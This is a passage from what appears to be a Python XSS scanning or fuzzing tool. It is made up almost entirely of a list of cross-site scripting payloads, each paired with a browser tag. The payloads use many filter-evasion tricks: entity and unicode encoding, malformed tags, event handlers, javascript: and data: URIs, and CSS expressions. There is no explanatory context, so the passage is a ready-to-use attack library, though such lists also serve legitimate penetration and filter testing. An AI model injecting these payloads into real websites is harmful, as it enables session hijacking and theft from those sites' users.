  601.           'browser':"""[Chrome]"""},
    602. 

  602.         { 'payload':"""<script ^__^>alert(PAYLOAD)</script ^__^""",
    603. 

  603.           'browser':"""[Chrome]"""},
    604. 

  604.         { 'payload':"""</style &#32;><script &#32; :-(>/**/alert(PAYLOAD)/**/</script &#32; :-(""",
    605. 

  605.           'browser':"""[Chrome]"""},
    606. 

  606.         { 'payload':'''&#00;</form><input type&#61;"date" onfocus="alert(PAYLOAD)">''',
    607. 

  607.           'browser':"""[Chrome]"""},
    608. 

  608.         { 'payload':"""<form><textarea &#13; onkeyup='PAYLOAD'>""",
    609. 

  609.           'browser':"""[Chrome]"""},
    610. 

  610.         { 'payload':"""<script /***/>/***/confirm('PAYLOAD')/***/</script /***/""",
    611. 

  611.           'browser':"""[Chrome]"""},
    612. 

  612.         { 'payload':"""<iframe srcdoc='&lt;body onload=prompt&lpar;PAYLOAD&rpar;&gt;'>""",
    613. 

  613.           'browser':"""[Chrome]"""},
    614. 

  614.         { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(PAYLOAD)&NewLine;>X</a>''',
    615. 

  615.           'browser':"""[Chrome]"""},
    616. 

  616.         { 'payload':"""<script ~~~>alert(PAYLOAD)</script ~~~>""",
    617. 

  617.           'browser':"""[Chrome]"""},
    618. 

  618.         { 'payload':"""<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;PAYLOAD&rpar;>""",
    619. 

  619.           'browser':"""[Chrome]"""},
    620. 

  620.         { 'payload':"""<///style///><span %2F onmousemove='alert&lpar;PAYLOAD&rpar;'>SPAN""",
    621. 

  621.           'browser':"""[Chrome]"""},
    622. 

  622.         { 'payload':"""<img/src='http://i.imgur.com/removed.png' onmouseover=&Tab;prompt(PAYLOAD)""",
    623. 

  623.           'browser':"""[Chrome]"""},
    624. 

  624.         { 'payload':"""&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(PAYLOAD)>'""",
    625. 

  625.           'browser':"""[Chrome]"""},
    626. 

  626.         { 'payload':"""<marquee onstart='javascript:alert&#x28;PAYLOAD&#x29;'>^__^""",
    627. 

  627.           'browser':"""[Chrome]"""},
    628. 

  628.         { 'payload':"""<iframe/%00/ src=javaSCRIPT&colon;alert(PAYLOAD)""",
    629. 

  629.           'browser':"""[Chrome]"""},
    630. 

  630.         { 'payload':'''/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(PAYLOAD) /*iframe/src*/>''',
    631. 

  631.           'browser':"""[Chrome]"""},
    632. 

  632.         { 'payload':"""//|\\ <script //|\\ src='PAYLOAD'> //|\\ </script //|\\""",
    633. 

  633.           'browser':"""[Chrome]"""},
    634. 

  634.         { 'payload':"""</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(PAYLOAD)>'</font>/</style>""",
    635. 

  635.           'browser':"""[Chrome]"""},
    636. 

  636.         { 'payload':'''<a/href="javascript:&#13; javascript:prompt(PAYLOAD)"><input type="X">''',
    637. 

  637.           'browser':"""[Chrome]"""},
    638. 

  638.         { 'payload':"""</plaintext\></|\><plaintext/onmouseover=prompt(PAYLOAD)""",
    639. 

  639.           'browser':"""[Chrome]"""},
    640. 

  640.         { 'payload':"""<div onmouseover='alert&lpar;PAYLOAD&rpar;'>DIV</div>""",
    641. 

  641.           'browser':"""[Chrome]"""},
    642. 

  642.         { 'payload':'''<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(PAYLOAD)">''',
    643. 

  643.           'browser':"""[Chrome]"""},
    644. 

  644.         { 'payload':'''<a href="jAvAsCrIpT&colon;alert&lpar;PAYLOAD&rpar;">X</a>''',
    645. 

  645.           'browser':"""[Chrome]"""},
    646. 

  646.         { 'payload':'''<embed src="PAYLOAD">''',
    647. 

  647.           'browser':"""[Chrome]"""},
    648. 

  648.         { 'payload':'''<object data="PAYLOAD">''',
    649. 

  649.           'browser':"""[Chrome]"""},
    650. 

  650.         { 'payload':"""<var onmouseover="prompt(PAYLOAD)">On Mouse Over</var>""",
    651. 

  651.           'browser':"""[Chrome]"""},
    652. 

  652.         { 'payload':'''<img src="/" =_=" title="onerror="prompt(PAYLOAD)"">''',
    653. 

  653.           'browser':"""[Chrome]"""},
    654. 

  654.         { 'payload':"""<%<!--'%><script>alert(PAYLOAD);</script -->""",
    655. 

  655.           'browser':"""[Chrome]"""},
    656. 

  656.         { 'payload':'''<script src="data:text/javascript,alert(PAYLOAD)"></script>''',
    657. 

  657.           'browser':"""[Chrome]"""},
    658. 

  658.         { 'payload':"""<iframe/src \/\/onload = prompt(PAYLOAD)""",
    659. 

  659.           'browser':"""[Chrome]"""},
    660. 

  660.         { 'payload':"""<iframe/onreadystatechange=alert(PAYLOAD)""",
    661. 

  661.           'browser':"""[Chrome] [IE]"""},
    662. 

  662.         { 'payload':"""<svg/onload=alert(PAYLOAD)""",
    663. 

  663.           'browser':"""[Chrome]"""},
    664. 

  664.         { 'payload':"""<input value=<><iframe/src=javascript:confirm(PAYLOAD)""",
    665. 

  665.           'browser':"""[Chrome]"""},
    666. 

  666.         { 'payload':"""<input type='text' value='' <div/onmouseover='alert(PAYLOAD)'>X</div>""",
    667. 

  667.           'browser':"""[Chrome]"""},
    668. 

  668.         { 'payload':"""http://www.<script>alert(PAYLOAD)</script .com""",
    669. 

  669.           'browser':"""[Chrome]"""},
    670. 

  670.         { 'payload':"""<svg><script ?>alert(PAYLOAD)""",
    671. 

  671.           'browser':"""[Chrome]"""},
    672. 

  672.         { 'payload':"""<img src='xx:xx'onerror=alert(PAYLOAD)>""",
    673. 

  673.           'browser':"""[Chrome]"""},
    674. 

  674.         { 'payload':'''<object type="text/x-scriptlet" data="PAYLOAD "></object>''',
    675. 

  675.           'browser':"""[Chrome]"""},
    676. 

  676.         { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;alert(PAYLOAD)"/>''',
    677. 

  677.           'browser':"""[Chrome]"""},
    678. 

  678.         { 'payload':'''<math><a xlink:href="PAYLOAD">click''',
    679. 

  679.           'browser':"""[Chrome] [FF]"""},
    680. 

  680.         { 'payload':'''<embed code="PAYLOAD" allowscriptaccess=always>''',
    681. 

  681.           'browser':"""[Chrome]"""},
    682. 

  682.         { 'payload':"""<svg contentScriptType=text/vbs><script>MsgBox+PAYLOAD""",
    683. 

  683.           'browser':"""[Chrome]"""},
    684. 

  684.         { 'payload':"""<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('PAYLOAD')>""",
    685. 

  685.           'browser':"""[Chrome] [IE]"""},
    686. 

  686.         { 'payload':'''<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert("PAYLOAD")"></script a=\u0061 & /=%2F''',
    687. 

  687.           'browser':"""[Chrome]"""},
    688. 

  688.         { 'payload':"""<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/PAYLOAD/)></script""",
    689. 

  689.           'browser':"""[Chrome]"""},
    690. 

  690.         { 'payload':"""<object data=javascript&colon;\u0061&#x6C;&#101%72t(PAYLOAD)>""",
    691. 

  691.           'browser':"""[Chrome]"""},
    692. 

  692.         { 'payload':"""<script>+-+-1-+-+alert(PAYLOAD)</script>""",
    693. 

  693.           'browser':"""[Chrome]"""},
    694. 

  694.         { 'payload':"""<body/onload=&lt;!--&gt;&#10alert(PAYLOAD)>""",
    695. 

  695.           'browser':"""[Chrome]"""},
    696. 

  696.         { 'payload':"""<img src ?psy?\/onerror = alert(PAYLOAD)""",
    697. 

  697.           'browser':"""[Chrome]"""},
    698. 

  698.         { 'payload':"""<svg><script>//&NewLine;confirm(PAYLOAD);</script </svg>""",
    699. 

  699.           'browser':"""[Chrome]"""},
    700. 

  700.         { 'payload':"""<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(PAYLOAD)>ClickMe""",
    701. 

  701.           'browser':"""[Chrome]"""},
    702. 

  702.         { 'payload':"""<script x> alert(PAYLOAD) </script 1=2""",
    703. 

  703.           'browser':"""[Chrome]"""},
    704. 

  704.         { 'payload':"""<div/onmouseover='alert(PAYLOAD)'> style='x:'>""",
    705. 

  705.           'browser':"""[Chrome]"""},
    706. 

  706.         { 'payload':"""<--'<img/src=' onerror=alert(PAYLOAD)> --!>""",
    707. 

  707.           'browser':"""[Chrome]"""},
    708. 

  708.         { 'payload':"""<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(PAYLOAD)></script>""",
    709. 

  709.           'browser':"""[Chrome]"""},
    710. 

  710.         { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(PAYLOAD)" onclick="alert(PAYLOAD)">x</button>''',
    711. 

  711.           'browser':"""[Chrome]"""},
    712. 

  712.         { 'payload':"""'><img src=x onerror=window.open('PAYLOAD');>""",
    713. 

  713.           'browser':"""[Chrome]"""},
    714. 

  714.         { 'payload':"""<form><button formaction=javascript&colon;alert(PAYLOAD)>CLICKME""",
    715. 

  715.           'browser':"""[Chrome]"""},
    716. 

  716.         { 'payload':"""<form id="test" /><button form="test" formaction="javascript:PAYLOAD">X""",
    717. 

  717.           'browser':"""[HTML5 Injection]"""},
    718. 

  718.         { 'payload':"""<input onfocus=javascript:PAYLOAD autofocus>""",
    719. 

  719.           'browser':"""[HTML5 Injection]"""},
    720. 

  720.         { 'payload':"""<select onfocus=javascript:PAYLOAD autofocus>""",
    721. 

  721.           'browser':"""[HTML5 Injection]"""},
    722. 

  722.         { 'payload':"""<textarea onfocus=javascript:PAYLOAD autofocus>""",
    723. 

  723.           'browser':"""[HTML5 Injection]"""},
    724. 

  724.         { 'payload':"""<keygen onfocus=javascript:PAYLOAD autofocus>""",
    725. 

  725.           'browser':"""[HTML5 Injection]"""},
    726. 

  726.         { 'payload':"""<input onblur=javascript:PAYLOAD autofocus><input autofocus>""",
    727. 

  727.           'browser':"""[HTML5 Injection]"""},
    728. 

  728.         { 'payload':"""<body onscroll=PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>""",
    729. 

  729.           'browser':"""[HTML5 Injection]"""},
    730. 

  730.         { 'payload':"""X<form id=test onforminput=javascript:PAYLOAD><input></form>""",
    731. 

  731.           'browser':"""[HTML5 Injection]"""},
    732. 

  732.         { 'payload':"""X<form id=test><input></form><button form=test onformchange==javascript:PAYLOAD>X""",
    733. 

  733.           'browser':"""[HTML5 Injection]"""},
    734. 

  734.         #Added 03/04/2015
    735. 

  735.         { 'payload':'''<img src=1 href=1 onerror="javascript:PAYLOAD"></img>''',
    736. 

  736. 		  'browser':"""[Not Info]"""},
    737. 

  737.         { 'payload':'''<audio src=1 href=1 onerror="javascript:PAYLOAD"></audio>''',
    738. 

  738. 		  'browser':"""[Not Info]"""},
    739. 

  739.         { 'payload':'''<video src=1 href=1 onerror="javascript:PAYLOAD"></video>''',
    740. 

  740. 		  'browser':"""[Not Info]"""},
    741. 

  741.         { 'payload':'''<body src=1 href=1 onerror="javascript:PAYLOAD"></body>''',
    742. 

  742. 		  'browser':"""[Not Info]"""},
    743. 

  743.         { 'payload':'''<image src=1 href=1 onerror="javascript:PAYLOAD"></image>''',
    744. 

  744. 		  'browser':"""[Not Info]"""},
    745. 

  745.         { 'payload':'''<object src=1 href=1 onerror="javascript:PAYLOAD"></object>''',
    746. 

  746. 		  'browser':"""[Not Info]"""},
    747. 

  747.         { 'payload':'''<script src=1 href=1 onerror="javascript:PAYLOAD"></script>''',
    748. 

  748. 		  'browser':"""[Not Info]"""},
    749. 

  749.         { 'payload':'''<svg onResize svg onResize="javascript:javascript:PAYLOAD"></svg onResize>''',
    750. 

  750. 		  'browser':"""[Not Info]"""},
    751. 

  751.         { 'payload':'''<title onPropertyChange title onPropertyChange="javascript:javascript:PAYLOAD"></title onPropertyChange>''',
    752. 

  752. 		  'browser':"""[Not Info]"""},
    753. 

  753.         { 'payload':'''<iframe onLoad iframe onLoad="javascript:javascript:PAYLOAD"></iframe onLoad>''',
    754. 

  754. 		  'browser':"""[Not Info]"""},
    755. 

  755.         { 'payload':'''<body onMouseEnter body onMouseEnter="javascript:javascript:PAYLOAD"></body onMouseEnter>''',
    756. 

  756. 		  'browser':"""[Not Info]"""},
    757. 

  757.         { 'payload':'''<body onFocus body onFocus="javascript:javascript:PAYLOAD"></body onFocus>''',
    758. 

  758. 		  'browser':"""[Not Info]"""},
    759. 

  759.         { 'payload':'''<frameset onScroll frameset onScroll="javascript:javascript:PAYLOAD"></frameset onScroll>''',
    760. 

  760. 		  'browser':"""[Not Info]"""},
    761. 

  761.         { 'payload':'''<script onReadyStateChange script onReadyStateChange="javascript:javascript:PAYLOAD"></script onReadyStateChange>''',
    762. 

  762. 		  'browser':"""[Not Info]"""},
    763. 

  763.         { 'payload':'''<html onMouseUp html onMouseUp="javascript:javascript:PAYLOAD"></html onMouseUp>''',
    764. 

  764. 		  'browser':"""[Not Info]"""},
    765. 

  765.         { 'payload':'''<body onPropertyChange body onPropertyChange="javascript:javascript:PAYLOAD"></body onPropertyChange>''',
    766. 

  766. 		  'browser':"""[Not Info]"""},
    767. 

  767.         { 'payload':'''<svg onLoad svg onLoad="javascript:javascript:PAYLOAD"></svg onLoad>''',
    768. 

  768. 		  'browser':"""[Not Info]"""},
    769. 

  769.         { 'payload':'''<body onPageHide body onPageHide="javascript:javascript:PAYLOAD"></body onPageHide>''',
    770. 

  770. 		  'browser':"""[Not Info]"""},
    771. 

  771.         { 'payload':'''<body onMouseOver body onMouseOver="javascript:javascript:PAYLOAD"></body onMouseOver>''',
    772. 

  772. 		  'browser':"""[Not Info]"""},
    773. 

  773.         { 'payload':'''<body onUnload body onUnload="javascript:javascript:PAYLOAD"></body onUnload>''',
    774. 

  774. 		  'browser':"""[Not Info]"""},
    775. 

  775.         { 'payload':'''<body onLoad body onLoad="javascript:javascript:PAYLOAD"></body onLoad>''',
    776. 

  776. 		  'browser':"""[Not Info]"""},
    777. 

  777.         { 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:PAYLOAD"></bgsound onPropertyChange>''',
    778. 

  778. 		  'browser':"""[Not Info]"""},
    779. 

  779.         { 'payload':'''<html onMouseLeave html onMouseLeave="javascript:javascript:PAYLOAD"></html onMouseLeave>''',
    780. 

  780. 		  'browser':"""[Not Info]"""},
    781. 

  781.         { 'payload':'''<html onMouseWheel html onMouseWheel="javascript:javascript:PAYLOAD"></html onMouseWheel>''',
    782. 

  782. 		  'browser':"""[Not Info]"""},
    783. 

  783.         { 'payload':'''<style onLoad style onLoad="javascript:javascript:PAYLOAD"></style onLoad>''',
    784. 

  784. 		  'browser':"""[Not Info]"""},
    785. 

  785.         { 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:PAYLOAD"></iframe onReadyStateChange>''',
    786. 

  786. 		  'browser':"""[Not Info]"""},
    787. 

  787.         { 'payload':'''<body onPageShow body onPageShow="javascript:javascript:PAYLOAD"></body onPageShow>''',
    788. 

  788. 		  'browser':"""[Not Info]"""},
    789. 

  789.         { 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:javascript:PAYLOAD"></style onReadyStateChange>''',
    790. 

  790. 		  'browser':"""[Not Info]"""},
    791. 

  791.         { 'payload':'''<frameset onFocus frameset onFocus="javascript:javascript:PAYLOAD"></frameset onFocus>''',
    792. 

  792. 		  'browser':"""[Not Info]"""},
    793. 

  793.         { 'payload':'''<applet onError applet onError="javascript:javascript:PAYLOAD"></applet onError>''',
    794. 

  794. 		  'browser':"""[Not Info]"""},
    795. 

  795.         { 'payload':'''<marquee onStart marquee onStart="javascript:javascript:PAYLOAD"></marquee onStart>''',
    796. 

  796. 		  'browser':"""[Not Info]"""},
    797. 

  797.         { 'payload':'''<script onLoad script onLoad="javascript:javascript:PAYLOAD"></script onLoad>''',
    798. 

  798. 		  'browser':"""[Not Info]"""},
    799. 

  799.         { 'payload':'''<html onMouseOver html onMouseOver="javascript:javascript:PAYLOAD"></html onMouseOver>''',
    800. 

  800. 		  'browser':"""[Not Info]"""},
    801. 

  801.         { 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.javascript:PAYLOAD"></html onMouseEnter>''',
    802. 

  802. 		  'browser':"""[Not Info]"""},
    803. 

  803.         { 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:javascript:PAYLOAD"></body onBeforeUnload>''',
    804. 

  804. 		  'browser':"""[Not Info]"""},
    805. 

  805.         { 'payload':'''<html onMouseDown html onMouseDown="javascript:javascript:PAYLOAD"></html onMouseDown>''',
    806. 

  806. 		  'browser':"""[Not Info]"""},
    807. 

  807.         { 'payload':'''<marquee onScroll marquee onScroll="javascript:javascript:PAYLOAD"></marquee onScroll>''',
    808. 

  808. 		  'browser':"""[Not Info]"""},
    809. 

  809.         { 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:javascript:PAYLOAD"></xml onPropertyChange>''',
    810. 

  810. 		  'browser':"""[Not Info]"""},
    811. 

  811.         { 'payload':'''<frameset onBlur frameset onBlur="javascript:javascript:PAYLOAD"></frameset onBlur>''',
    812. 

  812. 		  'browser':"""[Not Info]"""},
    813. 

  813.         { 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:PAYLOAD"></applet onReadyStateChange>''',
    814. 

  814. 		  'browser':"""[Not Info]"""},
    815. 

  815.         { 'payload':'''<svg onUnload svg onUnload="javascript:javascript:PAYLOAD"></svg onUnload>''',
    816. 

  816. 		  'browser':"""[Not Info]"""},
    817. 

  817.         { 'payload':'''<html onMouseOut html onMouseOut="javascript:javascript:PAYLOAD"></html onMouseOut>''',
    818. 

  818. 		  'browser':"""[Not Info]"""},
    819. 

  819.         { 'payload':'''<body onMouseMove body onMouseMove="javascript:javascript:PAYLOAD"></body onMouseMove>''',
    820. 

  820. 		  'browser':"""[Not Info]"""},
    821. 

  821.         { 'payload':'''<body onResize body onResize="javascript:javascript:PAYLOAD"></body onResize>''',
    822. 

  822. 		  'browser':"""[Not Info]"""},
    823. 

  823.         { 'payload':'''<object onError object onError="javascript:javascript:PAYLOAD"></object onError>''',
    824. 

  824. 		  'browser':"""[Not Info]"""},
    825. 

  825.         { 'payload':'''<body onPopState body onPopState="javascript:javascript:PAYLOAD"></body onPopState>''',
    826. 

  826. 		  'browser':"""[Not Info]"""},
    827. 

  827.         { 'payload':'''<html onMouseMove html onMouseMove="javascript:javascript:PAYLOAD"></html onMouseMove>''',
    828. 

  828. 		  'browser':"""[Not Info]"""},
    829. 

  829.         { 'payload':'''<applet onreadystatechange applet onreadystatechange="javascript:javascript:PAYLOAD"></applet onreadystatechange>''',
    830. 

  830. 		  'browser':"""[Not Info]"""},
    831. 

  831.         { 'payload':'''<body onpagehide body onpagehide="javascript:javascript:PAYLOAD"></body onpagehide>''',
    832. 

  832. 		  'browser':"""[Not Info]"""},
    833. 

  833.         { 'payload':'''<svg onunload svg onunload="javascript:javascript:PAYLOAD"></svg onunload>''',
    834. 

  834. 		  'browser':"""[Not Info]"""},
    835. 

  835.         { 'payload':'''<applet onerror applet onerror="javascript:javascript:PAYLOAD"></applet onerror>''',
    836. 

  836. 		  'browser':"""[Not Info]"""},
    837. 

  837.         { 'payload':'''<body onkeyup body onkeyup="javascript:javascript:PAYLOAD"></body onkeyup>''',
    838. 

  838. 		  'browser':"""[Not Info]"""},
    839. 

  839.         { 'payload':'''<body onunload body onunload="javascript:javascript:PAYLOAD"></body onunload>''',
    840. 

  840. 		  'browser':"""[Not Info]"""},
    841. 

  841.         { 'payload':'''<iframe onload iframe onload="javascript:javascript:PAYLOAD"></iframe onload>''',
    842. 

  842. 		  'browser':"""[Not Info]"""},
    843. 

  843.         { 'payload':'''<body onload body onload="javascript:javascript:PAYLOAD"></body onload>''',
    844. 

  844. 		  'browser':"""[Not Info]"""},
    845. 

  845.         { 'payload':'''<html onmouseover html onmouseover="javascript:javascript:PAYLOAD"></html onmouseover>''',
    846. 

  846. 		  'browser':"""[Not Info]"""},
    847. 

  847.         { 'payload':'''<object onbeforeload object onbeforeload="javascript:javascript:PAYLOAD"></object onbeforeload>''',
    848. 

  848. 		  'browser':"""[Not Info]"""},
    849. 

  849.         { 'payload':'''<body onbeforeunload body onbeforeunload="javascript:javascript:PAYLOAD"></body onbeforeunload>''',
    850. 

  850. 		  'browser':"""[Not Info]"""},
    851. 

  851.         { 'payload':'''<body onfocus body onfocus="javascript:javascript:PAYLOAD"></body onfocus>''',
    852. 

  852. 		  'browser':"""[Not Info]"""},
    853. 

  853.         { 'payload':'''<body onkeydown body onkeydown="javascript:javascript:PAYLOAD"></body onkeydown>''',
    854. 

  854. 		  'browser':"""[Not Info]"""},
    855. 

  855.         { 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:javascript:PAYLOAD"></iframe onbeforeload>''',
    856. 

  856. 		  'browser':"""[Not Info]"""},
    857. 

  857.         { 'payload':'''<iframe src iframe src="javascript:javascript:PAYLOAD"></iframe src>''',
    858. 

  858. 		  'browser':"""[Not Info]"""},
    859. 

  859.         { 'payload':'''<svg onload svg onload="javascript:javascript:PAYLOAD"></svg onload>''',
    860. 

  860. 		  'browser':"""[Not Info]"""},
    861. 

  861.         { 'payload':'''<html onmousemove html onmousemove="javascript:javascript:PAYLOAD"></html onmousemove>''',
    862. 

  862. 		  'browser':"""[Not Info]"""},
    863. 

  863.         { 'payload':'''<body onblur body onblur="javascript:javascript:PAYLOAD"></body onblur>''',
    864. 

  864. 		  'browser':"""[Not Info]"""},
    865. 

  865.         { 'payload':'''--><!-- ---> <img src=xxx:x onerror=javascript:PAYLOAD> -->''',
    866. 

  866. 		  'browser':"""[Not Info]"""},
    867. 

  867.         { 'payload':'''"`'><script>-javascript:PAYLOAD</script>''',
    868. 

  868. 		  'browser':"""[Not Info]"""},
    869. 

  869.         { 'payload':'''<body onscroll=javascript:PAYLOAD><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
    870. 

  870. 		  'browser':"""[Not Info]"""},
    871. 

  871.         { 'payload':'''<form id=test onforminput=javascript:PAYLOAD><input></form><button form=test onformchange=javascript:PAYLOAD>X''',
    872. 

  872. 	      'browser':"""[Not Info]"""},
    873. 

  873.         { 'payload':'''<video><source onerror="javascript:javascript:PAYLOAD">''',
    874. 

  874. 		  'browser':"""[HTML5 Injection]"""},
    875. 

  875.         { 'payload':'''<form><button formaction="javascript:javascript:PAYLOAD">X''',
    876. 

  876. 		  'browser':"""[Not Info]"""},
    877. 

  877.         { 'payload':'''<body oninput=javascript:PAYLOAD><input autofocus>''',
    878. 

  878. 		  'browser':"""[Not Info]"""},
    879. 

  879.         { 'payload':'''<math href="javascript:javascript:PAYLOAD">X</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:PAYLOAD">X</maction> </math>''',
    880. 

  880. 		  'browser':"""[Not Info]"""},
    881. 

  881.         { 'payload':'''<frameset onload=javascript:PAYLOAD>''',
    882. 

  882. 		  'browser':"""[Not Info]"""},
    883. 

  883.         { 'payload':'''<table background="javascript:javascript:PAYLOAD">''',
    884. 

  884. 		  'browser':"""[Not Info]"""},
    885. 

  885.         { 'payload':'''<!--<img src="--><img src=x onerror=javascript:PAYLOAD//">''',
    886. 

  886. 		  'browser':"""[Not Info]"""},
    887. 

  887.         { 'payload':'''<comment><img src="</comment><img src=x onerror=javascript:PAYLOAD)//">''',
    888. 

  888. 		  'browser':"""[Not Info]"""},
    889. 

  889.         { 'payload':'''<![><img src="]><img src=x onerror=javascript:PAYLOAD//">''',
    890. 

  890. 		  'browser':"""[Not Info]"""},
    891. 

  891.         { 'payload':'''<style><img src="</style><img src=x onerror=javascript:PAYLOAD//">''',
    892. 

  892. 		  'browser':"""[Not Info]"""},
    893. 

  893.         { 'payload':'''<li style=list-style:url() onerror=javascript:PAYLOAD> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:PAYLOAD></div>''',
    894. 

  894. 		  'browser':"""[Not Info]"""},
    895. 

  895.         { 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,javascript:PAYLOAD//#">X</a></body>''',
    896. 

  896. 		  'browser':"""[Not Info]"""},
    897. 

  897.         { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>javascript:PAYLOAD</SCRIPT>''',
    898. 

  898. 		  'browser':"""[Not Info]"""},
    899. 

  899.         { 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:PAYLOAD"></OBJECT>''',
    900. 

  900. 		  'browser':"""[Not Info]"""},
    901. 

  901.         { 'payload':'''<b <script>PAYLOAD</script>0''',
    902. 

  902. 		  'browser':"""[Not Info]"""},
    903. 

  903.         { 'payload':'''<div id="div1"><input value="``onmouseover=javascript:PAYLOAD"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>''',
    904. 

  904. 		  'browser':"""[Not Info]"""},
    905. 

  905.         { 'payload':'''<x '="foo"><x foo='><img src=x onerror=javascript:PAYLOAD//'>''',
    906. 

  906. 	      'browser':"""[Not Info]"""},
    907. 

  907.         { 'payload':'''<embed src="javascript:PAYLOAD">''',
    908. 

  908. 		  'browser':"""[Not Info]"""},
    909. 

  909.         { 'payload':'''<image src="javascript:PAYLOAD">''',
    910. 

  910. 		  'browser':"""[Not Info]"""},
    911. 

  911.         { 'payload':'''<img src="javascript:PAYLOAD">''',
    912. 

  912. 		  'browser':"""[Not Info]"""},
    913. 

  913.         { 'payload':'''<script src="javascript:PAYLOAD">''',
    914. 

  914. 		  'browser':"""[Not Info]"""},
    915. 

  915.         { 'payload':'''<div style=width:1px;filter:glow onfilterchange=javascript:PAYLOAD>x''',
    916. 

  916. 		  'browser':"""[Not Info]"""},
    917. 

  917.         { 'payload':'''<? foo="><script>javascript:PAYLOAD</script>">''',
    918. 

  918. 		  'browser':"""[Not Info]"""},
    919. 

  919.         { 'payload':'''<! foo="><script>javascript:PAYLOAD</script>">''',
    920. 

  920. 		  'browser':"""[Not Info]"""},
    921. 

  921.         { 'payload':'''</ foo="><script>javascript:PAYLOAD</script>">''',
    922. 

  922. 		  'browser':"""[Not Info]"""},
    923. 

  923.         { 'payload':'''<? foo="><x foo='?><script>javascript:PAYLOAD</script>'>">''',
    924. 

  924. 		  'browser':"""[Not Info]"""},
    925. 

  925.         { 'payload':'''<! foo="[[[Inception]]"><x foo="]foo><script>javascript:PAYLOAD</script>">''',
    926. 

  926. 		  'browser':"""[Not Info]"""},
    927. 

  927.         { 'payload':'''<% foo><x foo="%><script>javascript:PAYLOAD</script>">''',
    928. 

  928. 		  'browser':"""[Not Info]"""},
    929. 

  929.         { 'payload':'''<div id=d><x xmlns="><iframe onload=javascript:PAYLOAD"></div> <script>d.innerHTML=d.innerHTML</script>''',
    930. 

  930. 		  'browser':"""[Not Info]"""},
    931. 

  931.         { 'payload':'''<img[a][b][c]src[d]=x[e]onerror=[f]"PAYLOAD">''',
    932. 

  932. 		  'browser':"""[Not Info]"""},
    933. 

  933.         { 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:PAYLOAD>XXX</a>''',
    934. 

  934. 		  'browser':"""[Not Info]"""},
    935. 

  935.         { 'payload':'''<img src="x` `<script>javascript:PAYLOAD</script>"` `>''',
    936. 

  936. 		  'browser':"""[Not Info]"""},
    937. 

  937.         { 'payload':'''<img src onerror /" '"= alt=javascript:PAYLOAD//">''',
    938. 

  938. 		  'browser':"""[Not Info]"""},
    939. 

  939.         { 'payload':'''<title onpropertychange=javascript:PAYLOAD></title><title title=>''',
    940. 

  940. 		  'browser':"""[Not Info]"""},
    941. 

  941.         { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:PAYLOAD></a>">''',
    942. 

  942. 		  'browser':"""[Not Info]"""},
    943. 

  943.         { 'payload':'''<!--[if]><script>javascript:PAYLOAD</script -->''',
    944. 

  944. 		  'browser':"""[Not Info]"""},
    945. 

  945.         { 'payload':'''<!--[if<img src=x onerror=javascript:PAYLOAD//]> -->''',
    946. 

  946. 		  'browser':"""[Not Info]"""},
    947. 

  947.         { 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
    948. 

  948. 		  'browser':"""[Not Info]"""},
    949. 

  949.         { 'payload':'''<a style="-o-link:'javascript:javascript:PAYLOAD';-o-link-source:current">X''',
    950. 

  950. 		  'browser':"""[Not Info]"""},
    951. 

  951.         { 'payload':'''<style>p[foo=bar{}*{-o-link:'javascript:javascript:PAYLOAD'}{}*{-o-link-source:current}]{color:red};</style>''',
    952. 

  952.     	  'browser':"""[Not Info]"""},
    953. 

  953.         { 'payload':'''<link rel=stylesheet href=data:,*%7bx:expression(javascript:PAYLOAD)%7d''',
    954. 

  954. 		  'browser':"""[Not Info]"""},
    955. 

  955.         { 'payload':'''<style>@import "data:,*%7bx:expression(javascript:PAYLOAD)%7D";</style>''',
    956. 

  956. 		  'browser':"""[Not Info]"""},
    957. 

